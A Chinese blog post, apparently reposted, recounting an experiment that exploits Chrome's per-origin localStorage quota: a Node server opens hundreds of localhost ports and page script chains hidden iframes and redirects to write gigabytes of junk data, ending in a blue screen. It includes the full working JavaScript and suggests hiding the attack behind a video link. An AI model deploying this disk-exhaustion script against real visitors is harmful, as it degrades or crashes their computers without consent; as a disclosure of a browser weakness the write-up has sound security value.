有人说，前端的界限就在浏览器那儿。
无论你触发了多少bug，最多导致浏览器崩溃，对系统影响不到哪去。这就像二次元各种炫酷的毁灭世界，都不会导致三次元的世界末日。然而，作为一个前端，我发现是有方式打开次元大门的…
这个实验脑洞较大，动机无聊，但某种意义上反映了一些安全问题。想象一下，有天你在家里上网，吃着火锅还唱着歌，点开一个链接，电脑突然就蓝屏了！想想还真有点小激动。
起因
故事得从localStorage说起。
html5的本地存储，相信大家都不陌生。将数据以二进制文件形式存储到本地，在当前应用得非常广泛。windows下的chrome，localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage
文件夹中。但如果任由网页无限写文件，对用户硬盘的伤害可想而知，因而浏览器对其做了大小限制。
对于一个域名+端口，PC侧的上限是5M-10M之间，移动侧是则不大于2.5M。
那么问题就变成：这样的限制足够保护用户硬盘了吗？
关键
关键的问题在于，这一限制，针对的是一个域名+端口
。也就是说，你访问同一个域名的不同端口
，它们的localStorage并无关联，是分开存储的。
我用node简单地开启了服务器，这时，用户访问http://127.0.0.1:1000
到http://127.0.0.1:1099
这100个端口，会请求到同一个页面：index.html
：
var http = require('http');var fs = require('fs');//100个端口for(var port = 1000; port< 1100; port++){ http.createServer(function (request, response) { //请忽略这种循环读文件的方式，只为了简便 fs.readFile('./index.html', function(err, content){ if(err) { } else { response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' }); response.write(content); response.end(); } }); }).listen(port, '127.0.0.1');}
当然，这个index.html里涉及了localStorage写操作。var s = "";//慢慢来，别写太大了，好害怕…for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0";}localStorage.setItem("testData", s);
我试着用浏览器分别访问了几个端口，结果是分开存储。一切跟剧本一样。
自动遍历
但这种程度还不够。如果要实验变得更好（xie）玩（e）一些，问题就变成如何让用户自动遍历这些端口
？
iframe是个好的尝试。只要一打开http://127.0.0.1: 1000
，页面的脚步就会创建一个iframe，去请求http://127.0.0.1: 1001
，一直循环下去。
var Main = (function(){ var _key = "testData"; var _max = 1100; //最大限制 return { init: function(){ //慢慢来，别写太大了，好害怕… var s = ""; for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem(_key, s); var port = parseInt(location.port)+1; if(port > _max) return; //新添加iframe var url = "http://127.0.0.1:" + port; var $iframe = document.createElement("iframe"); $iframe.src = url; document.getElementsByTagName("body")[0].appendChild($iframe); } }})();
当然iframe我们还可以设置为不可见，以掩盖这种不厚道的行为…比方说，有人发给你一个链接，你打开后发现是个视频，而你根本注意不到背后的脚本，在视频播放的几分钟里，快要把你的C盘写满。
然后我就看到请求如潮水渐涨：
点击查看原图
但是，请求到1081端口，最新的chrome就崩溃掉了…原来iframe嵌套太多，已经到达了浏览器的极限。
防止浏览器崩溃
C盘还未撑满，同志还需努力。怎么办？
突然想到，到达iframe极限之前，我们可以重定向啊。每访问50个端口，就使用window.location.href
重定向一次，去确保浏览器不崩溃。
var Main = (function(){ var _key = "testData"; var _max = 1200; //最大限制 var _jumpSpace = 50; //为避免iframe过多导致浏览器crash，每50个执行跳转 return { init: function(){ //慢慢来，别写太大了，好害怕… var s = ""; for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem(_key, s); var port = parseInt(location.port)+1; if(port > _max) return; if(port % _jumpSpace == 0){ //每50个，重定向一次 window.location.href = url; }else{ //新添加iframe var $iframe = document.createElement("iframe"); $iframe.src = url; document.getElementsByTagName("body")[0].appendChild($iframe); } } }})();
事实证明，这种蛮拼的方法的确可行。
至此，只要访问http://127.0.0.1: 1000
，就会往Local Storage文件夹里写入近500M无用数据：
点击查看原图里面的数据是这样的：
点击查看原图
继续实验的黑科技
算了下我的C盘还有空间嘛，那就把端口数量从100增长到200个。结果是这样的，到达了1.17G大小。
点击查看原图
在后续的实验中，我就慢慢的把端口数量与存储的数据调大。
电脑也运行得越来越慢。这是为什么呢？
我观察到，有时候执行localStorage.setItem()
后，在文件夹里不一定立即能看到数据文件。怀疑这些数据会被chrome先放到内存里，以避免重复读写带来的消耗，在空闲或关闭的时机，再写进硬盘里。
但此时，浏览器已经影响到系统了。它处于一种“不会崩溃”，但“因为占用了许多内存，已经妨碍用户电脑的正常使用”的状态。即使用户关闭了浏览器窗口，也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的，否则浏览器会丢失数据。
遭遇黑科技的人们能做的只有：
等待；
用任务管理器关掉chrome进程，再等待；
相信并尝试“重启电脑解决90%电脑问题”的科学论断
可以说，浏览器的内心几乎是崩溃的。
最后
最后，还是得用严肃脸告诫一下：害人之心不可无。本实验，从一开始就是怀揣着将安全问题上交给国家的初衷
去做的（是的就是这么纯粹）。
后续，看着C盘还有2G空间，我又把端口增长到2000个，试下会发生什么。由于请求过多，需要一定时间，我就去做别的事情了。回来后发现房间安静祥和，美轮美奂，一片蓝光，像是加了特技。
点击查看原图那么问题来了，计算机修理哪家强？有点急…
原文地址：http://litten.github.io/2015/07/06/hack-in-localstorage/
网友评论